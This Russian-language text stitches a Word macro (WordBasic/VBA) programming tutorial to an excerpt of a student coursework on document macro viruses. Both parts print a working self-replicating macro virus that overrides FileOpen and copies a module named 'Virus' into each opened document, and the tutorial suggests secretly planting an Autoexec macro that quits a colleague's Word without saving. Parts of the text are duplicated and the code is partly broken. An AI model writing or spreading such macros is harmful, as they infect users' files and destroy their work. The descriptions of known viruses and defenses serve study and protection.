Мое знакомство с Microsoft Word началось полтора года назад, когда мне впервые понадобилось оформить довольно большой текстовый документ — дипломную работу. Теперь я с трудом могу представить свое рабочее место без привычной иконки.
В Word можно делать многое: набирать и редактировать текст, рисовать несложные картинки, даже верстать книжки. Существует немало книг, посвященных работе с Word, однако в них слабо или совсем не затронут язык макрокоманд — WordBasic.
Между тем WordBasic — удобный и простой язык программирования, позволяющий автоматизировать рутинную работу с тестовыми документами, управлять любыми Windows-программами и даже написать вирус.
В приведенных примерах я постаралась продемонстрировать наиболее полезные возможности WordBasic и показать возможности языка.
1. Общие замечания
Проще всего создать макрос с помошью команды Сервис->Макрос->Начать запись. Все действия пользователя до нажатия кнопки Стоп записываются в макрос и воспроизводятся при запуске этого макроса. Такой способ не позволяет организовывать циклы и выдавать сообщения пользователю, поэтому для написания полноценной программы необходимо отредактировать записанный макрос. Для этого в Word 6.0 и 7.0 необходимо выбрать команду Сервис ->Макрос-> Изменить. (Сервис->Макрос->Редактор VisualBasic в Word97).
Полное описание команд WordBasic поставляется вместе с Word, но не устанавливается по умолчанию. Если Вы не можете отыскать этот раздел в Вашей справочной системе, значит необходимо установить его с дистрибутивного диска Word.
2. Диалоги
В любом справочнике по программированию написано, что хорошая программа должна быть интерактивной, то есть должна уметь вести диалог с пользователем. Рассмотрим, как это можно сделать с помощью WordBasic.
Напишем совсем коротенькую программку, выдающую на экран сообщение.
re>Sub Hello() MsgBox "Hello Word", vbInformation, "Мое первое сообщение" End Sub
Первый параметр функции MsgBox задает текст сообщения, второй — тип сообщения, т.е. значок и кнопки, а третий задает заголовок окна сообщения.
Теперь попробуем усложнить программу. Пусть она выводит на экран сообщение с надписью "Закрыть Word?" и кнопками "Ok" и "cancel". Кроме того пусть программа закрывает Word по нажатию Ok.
re>Sub Hello() If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then Application.Quit End If End Sub
Здесь мы используем возвращенное функцией MsgBox значение для того, чтобы определить на какую кнопку нажал пользователь.
Если функция возвратила vbOK, т.е. пользователь выбрал кнопку OK, мы вызываем метод Quit объекта Application (объектом Application является сам Word).
Но это еще не все. При выходе Word выдает предупреждения, если изменения в файлах не сохранены. Модифицируем программу так, чтобы эти сообщения не появлялись. Для этого установим свойство DisplayAlerts объекта Application, управляющее выводом сообщений на экран в false и укажем параметр wdDoNotSaveChanges (не сохранять изменения) для метода Application.Quit
re>Sub Hello() Application.DisplayAlerts = False If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then Application.Quit wdDoNotSaveChanges End If End Sub
Макрос готов. Хотите удивить коллегу? Перепишите ему этот макрос в шаблон Normal.dot под названием Autoexec (макросы с таким названием выполняются автоматически при запуске Word).
3. Как распланировать перекуры
Предположим, что сотрудники Вашего отдела слишком часто курят, или, наоборот ,так увлекаются работой, что забывают пообедать (это конечно маловероятный случай).
Вторая программа, которую мы напишем, будет напоминать, что уже можно сходить покурить, или, скажем, пообедать. Метод OnTime объекта application позволяет задать время выполнения макроса. Синтаксис у этого метода следующий:
re>Application.OnTime(When, Name, Tolerance)
Здесь When указывает время выполнения, Name — это имя макроса, который необходимо выполнить, Tolerance — необязательный параметр, указывающий на промежуток времени, в течение которого должен выполниться макрос.
В нашей программе сообщения будут выдаваться каждый час. Назовем первый макрос AutoExec, чтобы он запускался при старте Word. В нашем случае метод onTime использует функции Now, чтобы определить текущее время, и TimeValue для того, чтобы задать промежуток равный часу. Макрос Message выдает сообщение и задает следующий интервал выполнения.
re>Sub AutoExec() Application.OnTime Now + TimeValue("00:01:00"), "Message" End Sub Sub Message() MsgBox ("Теперь можно и покурить. ") Application.OnTime Now + TimeValue("00:01:00"), "Message" End Sub
Слегка видоизменив макрос, можно написать даже целое расписание на рабочий день. Единственное, о чем следует помнить — такие макросы лучше всего сохранять в глобальном шаблоне Normal.dot, чтобы они были всегда доступны.
4. Как перенести текст из Dos-редактора в Word
Возможно, в Вашем офисе тоже есть бухгалтер, до сих пор предпочитающий работать под Dos. Время от времени Вам необходимо работать с его текстовыми файлами. Часто в таких случаях открытый файл занимает лишь часть страницы и выглядит следующим образом:
re>Отчет по продажам рогов и копыт. За истекший период рога и копыта были проданы Мурманским филиалом на сумму девятнадцать миллионов семьдесят тысяч теньге, Астраханским филиалом на пятнадцать миллионов.
- Заменить два подряд идущих символа конца абзаца на символ табуляции.
- Заменить символы конца абзаца на пробелы.
- Заменить символы табуляции на символы конца абзаца.
Довольно утомительно каждый раз проводить такие замены вручную, поэтому напишем макрос, который будет это делать за нас.
re>Sub FormatDosText() Selection.WholeStory Rem Выделяем весь текст Selection.Find.ClearFormatting Rem Снимаем предыдущие условия поиска Selection.Find.Replacement.ClearFormatting Rem Снимаем предыдущие условия замены With Selection.Find Rem Задаем новые условия поиска и замены .Text = "^p^p" Rem Замена двух концов абзаца на символ табуляции .Replacement.Text = "^t" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll Rem Производим замену With Selection.Find .Text = "^p" Rem Замена конца абзаца на пробел .Replacement.Text = " " .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll With Selection.Find .Text = "^t" Rem Замена символа табуляции на символ конца абзаца .Replacement.Text = "^p" .Forward = True .Wrap = wdFindContinue .Format = False .MatchCase = False .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll End Sub
Вообще говоря, для выполнения любых однотипных действий лучше создать макрос. Практика показывает, что потраченное на это время с лихвой окупается в дальнейшем. К тому же Вы избавляетесь от массы рутинной работы.
5. Как прочитать испорченное письмо
При работе с электронной почтой время от времени приходится сталкиваться с нечитаемыми сообщениями. Обычно это связано с проблемами кириллицы в российской части Интернет. Стандартной кодировкой кириллицы при работе с почтой считается KOI-8R, т.е. Unix-кодировка.
Так как письмо проходит через большое количество почтовых серверов и некоторые из них считают своим долгом перекодировать ваше письмо в Koi, бывает, что письмо приходит адресату в совершенно неузнаваемом виде. Следующий макрос, который мы напишем, будет бороться с этой проблемой, переводя сообщение из Koi в Windows-кодировку.
Идея очень проста. В двух строковых переменных WinCodePage и KoiCodePage зададим кодовые таблицы Windows и Koi, затем будем заменять i-тую букву из строки WinCodePage на i-тую букву cтроки KoiCodePage. При этом будем отмечать курсивом уже замененные буквы, чтобы не заменить одну и ту же букву дважды.
re>Sub KoiToWin() KoiCodePage = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯабвгдежзийклмнопрстуфхцчшщьыъэюя" Rem задали строку кодировки Windows WinCodePage = "бвчздецъйклмнопртуфхжигюыэшщяьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭШЩЯЬАС" Rem задали строку кодировки Koi Selection.Find.ClearFormatting Rem Заменяем только не курсив Selection.Find.Font.Italic = False Selection.Find.Replacement.ClearFormatting Selection.Find.Replacement.Font.Italic = True Rem Заменяем на курсив Rem Обратите внимание, замену производится с учетом форматирования. Rem Выделяем курсивом уже преобразованные буквы, иначе некоторые буквы будут Rem преобразованы дважды. For i = 1 To Len(WinCodePage) rem Функция Len определяет длину строки MySearch = Mid(KoiCodePage, i, 1) MyReplace = Mid(WinCodePage, i, 1) Rem Функция Mid вырезает из строки WinCodePage i-тую букву With Selection.Find .Text = MySearch .Replacement.Text = MyReplace .Forward = True .Wrap = wdFindContinue .Format = True .MatchCase = True .MatchWholeWord = False .MatchWildcards = False .MatchSoundsLike = False .MatchAllWordForms = False End With Selection.Find.Execute Replace:=wdReplaceAll Next i Rem Снимаем курсив Selection.WholeStory With Selection.Font .Italic = False End With End Sub
Для обратного кодирования нужно только поменять местами имена MySearch и MyReplace.
Теперь Вы сможете не только прочитать все почтовые сообщения, но и перекодировать HTML-документы для публикации их в Web.
6. Как защититься от макровирусов
Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого — они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск.
Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение.
В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне. Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение".
Еще один вариант — при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto — сотрите их немедленно.
- AutoExec — Запускается при старте Word или загрузке глобального шаблона
- AutoNew — Запускается при создании нового документа
- AutoOpen — Запускается при открытии документа
- AutoClose — Запускается при закрытии документа
- AutoExit — Запускается при выходе из Word или при закрытии глобального шаблона.
Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако мне такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов:
re>Sub Autoexec() MsgBox "Не допустим размножения вирусов!" WordBasic.DisableAutoMacros End Sub
Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы. Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа.
Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office’97 позволяет хранить макросы непосредственно в документе — следовательно, возможностей распространения вирусов становится больше.
Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл.
re>Sub FileOpen() InfectorPath = MacroContainer.Path + "" + MacroContainer.Name Rem Переменная InfectorPath определяет путь к документу, содержащему вирус. Dialogs(wdDialogFileOpen).Show Rem Имитируется диалог Файл->Открыть файл Infected = False For Each VbComponent In ActiveDocument.VBProject.VBComponents If VbComponent.Name = "Virus" Then Infected = True Rem Здесь открытый пользователем файл проверяется на наличие вируса Next If Not Infected Then Rem Если файл не заражен, вирус дописывается в файл CopyMacro ActiveDocument.Path + "" + ActiveDocument.Name, InfectorPath End If End Sub Public Sub CopyMacro(NewDestination, NewSource) On Error GoTo nextline Application.OrganizerCopy Source:= _ NewSource, Destination:=NewDestination, Name:="Virus", Object:= _ WdOrganizerObjectProjectItems Rem копируем модуль с вирусом ActiveDocument.Save Rem сохраняем документ nextline: End Sub
Как видите, этот вирус не использует имена автомакросов, и написанный нами выше макрос autoexec() от него не спасет:)
По правде сказать, мне не известен способ защиты от таких вирусов. Единственное, чо можно порекомендовать: просматривайте подозрительные файлы и стирайте обнаруженные макросы с именами типа FileOpen, FileNew, FileSave или FileSaveAs.
7. Как управлять любой Windows-программой
Управление Windows-приложениями представляется сложным даже для опытных программистов. Однако с помощью WordBasic любой пользователь может управлять приложениями, поддерживающими ввод с клавиатуры. Напишем макрос, который запускает Netscape Navigator и загружает страницу с адресом www.diamondteam.ru.
Сначала запустим Netscape Navigator командой Shell ("C:netscapeprogramnetscape.exe", vbNormalFocus). Первый параметр команды указывает путь к приложению, второй определяет вид окна приложения.
Используем команду SendKeys для имитации ввода с клавиатуры в активное окно Windows.
re>Sub Navigator() MySHell = Shell("C:netscapeprogramnetscape.exe", vbNormalFocus) SendKeys "", True Rem имитируем нажатие на клавишу enter SendKeys "", True Rem имитируем нажатие на клавишу tab SendKeys "http://www.diamondteam.ru", True SendKeys "", True End Sub
Итак, для управления любым Windows-приложением необходимо просто запустить приложение, сделать его окно активным и с помощью команды SendKeys "ввести с клавиатуры" все, что необходимо. Согласитесь, это гораздо проще, чем бороться с сообщениями Windows.
- При обработке документов Word, поскольку формат документов Word до сих пор является тайной, тщательно скрываемой компанией Microsoft.
- При обработке текстовых документов, особенно связанной с поиском и заменой. Word предоставляет Вам массу удобных функций для работы с текстом.
Примечание: Все приведенные примеры написаны на версии WordBasic для Office’97.
Вирусы в макросах документов: способы внедрения, распространения и защиты
Компью́терный ви́рус — разновидность компьютерных программ или вредоносный код, отличительной особенностью которых является способность к размножению (саморепликация). В дополнение к этому вирусы могут без ведома пользователя выполнять прочие произвольные действия, в том числе наносящие вред пользователю и/или компьютеру.Даже если автор вируса не программировал вредоносных эффектов, вирус может приводить к сбоям компьютера из-за ошибок, неучтённых тонкостей взаимодействия с операционной системой и другими программами. Кроме того, вирусы обычно занимают некоторое место на накопителях информации и отбирают некоторые другие ресурсы системы. Поэтому вирусы относят к вредоносным программам.
Введение41. Макровирусы6 1.1 Макровирусы общие сведения7 1.2 Макровирусы принципы работы82. Постановка задачи103. Обзор наиболее известных вирусов в макросах документов11 3.1 Распространение макровирусов13 3.2 Алгоритм работы макровирусов для Microsoft Office144. Способы защиты от вирусов в макросах документов16 4.1 Обнаружение макровируса17 4.2 Восстановление пораженных объектов185. Создание вирусов в макросах и их внедрение в файлы документов19 5.1 Постоянный вывод сообщения на экран19 5.2 Запуск приложении из макровируса19 5.3 Автозапуск и выполнение20Заключение21Список использованной литературы
Работа содержит 1 файл
— 124.89 Кб (Скачать)
Процедуры-программы могут исполняться непосредственно или же активироваться по запросу из других макросов. Их синтаксис следующий:
Sub -> код макроса ‘ Комментарий начинается с апострофа End Sub В качестве примера можно привести следующий макрос: ‘ Данный макрос открывает окно диалога и выводит в нем сообщение Sub Stupid_Greeting MsgBox "ХЭЛЛОУ ВОРЛД" End Sub
1.2 Макровирусы принципы работы
При работе с документом MS Word версий 6 и 7 выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т. д. При этом Word ищет и выполняет соответствующие встроенные макросы: при сохранении файла по команде File/Save вызывается макрос FileSave, при сохранении по команде File/SaveAs — FileSaveAs, при печати документов — FilePrint и т. д., если, конечно, таковые макросы определены.
Существуют также несколько «автомакросов», автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы — AutoExit, при создании нового документа — AutoNew. Похожие механизмы, но с другими именами макросов и функций, используются и в Excel/Office 97.
Макровирусы, поражающие файлы Word, Excel или Office 97, как правило пользуются одним из трех вышеперечисленных приемов:
- в вирусе присутствует автомакрос (автофункция);
- в вирусе переопределен один из стандартных системных макросов (ассоциированный с каким-либо пунктом меню);
- макрос вируса автоматически вызывается при нажатии на какую-либо клавишу или комбинацию клавиш.
Бывают также полувирусы, которые не используют перечисленные приемы и размножаются, только если пользователь самостоятельно запускает их на выполнение.
Большинство макровирусов содержат все свои функции в виде стандартных макросов MS Word/Excel/Office 97. Существуют, однако, вирусы, использующие приемы скрытия своего кода и хранящие свой код в виде не-макросов. Известны три подобных приема. Все они используют возможность макросов создавать, редактировать и исполнять другие макросы. Как правило, подобные вирусы имеют небольшой (иногда полиморфный) макрос-загрузчик, который вызывает встроенный редактор макросов, создает новый макрос, заполняет его основным кодом вируса, выполняет и затем, как правило, уничтожает, чтобы скрыть следы присутствия вируса.
- Постановка задачи
Основными задачами данного курсового проекта являются:
- обзор наиболее известных вирусов в макросах документов;
- распространение вирусов в макросах документов;
- способы защиты от вирусов в макросах документов ;
- Создание вирусов в макросах и их внедрение;
- Обзор наиболее известных вирусов в макросах документов
Saver (в переводе с англ. — "Сохранитель") представляет собой макро-вирус, функционирующий на машинах с установленным ПО MS Office, в состав компонентов которого входит Word 97 (версия 8.0) или Word 2003 (версия 11.0 — компания-разработчик Microsoft реализовала ее версию совместимой со всеми предшествующими ей версиями Word, что и послужило причиной работоспособности под ней вируса). Свое название вирус получил за текстовую строку-"копирайт", содержащуюся в его коде: SaverVirus, а также за способность создавать на диске копии зараженных им документов. Написан 2 февраля 2000 года в Конотопе, о чем свидетельствует др. текстовая строка-"копирайт" в его теле: Макрос записан 02.02.00 КОНОТОП
Saver заражает документы, сохраняемые в формате "DOC", а также файлы с настройками MS Office (DOT-файлы). Документы, записанные в формате "RTF", вирус не может заразить, т.к. в структуре последних отсутствуют макро-секции или "макросы" (секции с настройками, связанными с оформлением текущего документа — размера и типа шрифтов, величины полей, расположения объектов и т.д.), что исключает возможность их заражения. Вирус может быть занесен в машину только через зараженные документы или файлы настроек с вышеуказанными расширениями, если таковые будут открыты пользователем с последующим игнорированием предупреждения встроенной в Word макро-защиты:
Рис1 Предупреждение о запуске макроса
Заражение произойдет в том случае, если будет выбрана опция "Не отключать макросы", что почему-то и делает большинство пользователей при появлении данного запроса. После этого Saver отключает встроенную в Word 97 защиту от вирусов в макросах — VirusProtection (под Word 2003 вирус не может этого сделать, т.к. принцип данной защиты там немного др.) и заражает файл шаблона настроек данного редактора:
приWord97: C:ProgramFiles MicrosoftOfficeШаблоныNormal .dot
приWord2003: C:Documents and Settings%имя текущего пользователя%Application DataMicrosoftШаблоныNormal. dot Изменяя его номинальный размер с 26624 байта на 39424 байта или 27136 байт на 39936 байт(пояснение: Normal.dot может иметь один из двух указанных номинальных размеров, что зависит от некоторых системных условий) для Word 97 (для Word 2003 значение зараженного файла-шаблона может быть различным, поскольку оригинальный размер данного объекта может существенно варьироваться в зависимости от ряда настроек, установленных в Word’е). Затем вирус омертвляет файл Normal.dot, превращая его в дроппер своей программы ("dropper" — пускатель, активатор): изменяет его содержимое таким образом, что управление передается на вирусный код. Этот код вирус сохраняет в создаваемый им файл saver.dll:
приWord97: C:ProgramFiles MicrosoftOfficeOfficesaver. dll
приWord2003: C:ProgramFiles MicrosoftOfficeOFFICE11saver .dll
Данный файл имеет размер 29696 байт и представляет собой модифицированный вирусом файл-шаблон Normal.dot.
после этого заменяет строки, сохраняет документ и закрывает его.
W97M.Ethan — макрокомандный вирус, состоящий всего из одной макрокоманды. Заражает документы приложения Word97 при их закрытии и глобальный шаблон NORMAL.DOT.
Благоприятным фактором распространения вируса W97M.Ethan служит то, что в Microsoft Word макросы автоматически запускаются при открытии любого документа, его закрытии, сохранении и т.д.
Кроме того, имеется так называемый общий шаблон NORMAL.DOT и макросы, помещенные в общий шаблон, автоматически запускаются при открытии любого документа. Если учесть, что копирование макросов из документа в документ (в частности, в общий шаблон) выполняется всего одной командой, то среда Microsoft Word представляется идеальной для существования макрокомандных вирусов подобныхW97M.Ethan
После попадания в систему вирус помещает свою единственную макрокоманду в начало модуля, написанного на языке VBA (Visual Basic for Applications — язык Visual Basic для приложений ) — "ThisDocument". "ThisDocument" является модулем в шаблоне MS Word 97.
При заражении документа или общего шаблона вирус использует временный текстовый файл "C:Ethan.___" который является источником его вирусного кода. Данному файлу вирус присваивает атрибуты системный и скрытый.
4. Распространение макровирусов
При запуске Word’а Normal.dot передает управление вирусному "файлу-шаблону" saver.dll. Опыты, проведенные с вирусом на тест-машине, дали следующие результаты:
1. Вирус заражает документы при их закрытии: записывает в их макросекцию свой код, используя собственный макрос AutoSave ("Автосохранение"). При этом вирус блокирует стандартный запрос о подтверждении сохранения документа с внесенными в него изменениями, в результате чего все произведенные в документе изменения как вирусом, так и пользователем, автоматически сохраняются без ведома последнего.
2. В том случае, если документ был просто открыт пользователем или редактировался и запоминался через опцию "Сохранить", вирус заражает этот документ; если же последний перезапоминался пользователем через опцию "Сохранить как. ", то вирус заражает только пересохраненный документ, а исходный оставляет без изменения. При этом и в том, и в др. случаях увеличение размера файлов после заражения зависит от ряда условий и не имеет точного значения.
3. Учитывая тот факт, что вирус заражает документы повторно даже просто при их просмотре без внесения пользователем каких-либо изменений, размер файлов постоянно увеличивается, в связи с чем на старых машинах с жесткими дисками небольшого объема свободное место очень быстро уменьшается. Также может наблюдаться сильное торможение машины при работе с Word’ом, что связано с дополнительными затратами ресурсов оперативной памяти на обработку "раздутых" вирусом макросекций зараженных документов и в конечном итоге может стать реальной причиной зависания последних при их открытии.
4. После заражения первого документа на чистой машине вирус создает свой подкаталог:
приWord97: C:ProgramFiles MicrosoftOfficeOfficeDoc_ Copy
приWord2003: C:ProgramFiles MicrosoftOfficeOFFICE11Doc_ Copy
в который копирует каждый из вновь зараженных документов. Впоследствии, если имя текущего открытого документа, заражаемого вирусом (повторно или первый раз — не имеет значения) совпадает с именем копии документа, уже находящейся в каталоге "Doc_Copy", то вирус, в зависимости от своих внутренних счетчиков, может перезаписать оригинальное содержимое текущего документа содержимым из файла-копии, что влечет безвозвратную потерю содержимого текущего документа. Также существует вероятность утечки конфиденциальных данных в том случае, если за машиной работает несколько пользователей: например, один из них работает с дискеты с документом, содержащим секретную финансовую или какую-либо др. информацию, которую не должны знать остальные пользователи. Однако после того, как вирус создаст копию данного файла в папке "Doc_Copy", содержимое документа может быть доступно для просмотра др. пользователям данного компьютера.
5. После закрытия Word’а программа вируса автоматически отключается — срабатывает вирусный макрос AutoClose ("Автоматическое закрытие").
4.1 Алгоритм работы макровирусов для Microsoft Office
Большинство известных Word-вирусов (версий 6, 7 и Word 97) при запуске переносят собственный код в область глобальных макросов документа («общие» макросы).
При выходе из Word глобальные макросы (включая макросы вируса) автоматически записываются в DOT-файл глобальных макросов (обычно таким файлом является NORMAL.DOT). Таким образом, вирус активизируется в тот момент, когда Word грузит глобальные макросы.
Затем вирус переопределяет (или уже содержит в себе) один или несколько стандартных макросов (например, FileOpen, FileSave, FileSaveAs, FilePrint) и перехватывает таким образом команды работы с файлами. При вызове этих команд заражается файл, к которому идет обращение. Для этого вирус конвертирует файл в формат Template (что делает невозможными дальнейшие изменения формата файла, т. е. конвертирование в какой-либо не-Template формат) и записывает в файл свои макросы, включая Auto-макрос.
Другой способ внедрения вируса в систему базируется на так называемых «Add-in» файлах, т. е. файлах, являющихся служебными дополнениями к Word. В этом случае NORMAL.DOT не изменяется, а Word при запуске загружает макросы вируса из файла (или файлов), определенного как «Add-in». Этот способ практически полностью повторяет заражение глобальных макросов за тем лишь исключением, что макросы вируса хранятся не в NORMAL.DOT, а в каком-либо другом файле.
Возможно Внедрение вируса в файлы, расположенные в каталоге STARTUP. В этом случае Word автоматически подгружает файлы-шаблоны из этого каталога, но такие вирусы пока не встречались. Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл.
InfectorPath = MacroContainer.Path + "" + MacroContainer.Name
Rem Переменная InfectorPath определяет путь к документу, содержащему вирус.
Rem Имитируется диалог Файл->Открыть файл
For Each VbComponent In ActiveDocument.VBProject. VBComponents
If VbComponent.Name = "Virus" Then Infected = True
Rem Здесь открытый пользователем файл проверяется на наличие вируса
If Not Infected Then
Rem Если файл не заражен, вирус дописывается в файл
CopyMacro ActiveDocument.Path + "" + ActiveDocument.Name, InfectorPath
Public Sub CopyMacro(NewDestination, NewSource)
On Error GoTo nextline
Application.OrganizerCopy Source:= _
NewSource, Destination:=NewDestination, Name:="Virus", Object:= _
Rem копируем модуль с вирусом
Rem сохраняем документ
5. Способы защиты от вирусов в макросах документов
Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого — они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск.
Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение. В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне.
Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение". Еще один вариант — при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto — сотрите их немедленно.В Word97 макросы могут содержаться не только в шаблонах, но и в обычных документах. Как уже упоминалось, для автоматического запуска макроса при том или ином событии макрос должен иметь одно из следующих имен:
- AutoExec — Запускается при старте Word или загрузке глобального шаблона
- AutoNew — Запускается при создании нового документа
- AutoOpen — Запускается при открытии документа
- AutoClose — Запускается при закрытии документа
- AutoExit — Запускается при выходе из Word или при закрытии глобального шаблона.
Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов:
MsgBox "Не допустим размножения вирусов!"
Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы. Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа.
Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office’97 позволяет хранить макросы непосредственно в документе — следовательно, возможностей распространения вирусов становится больше.




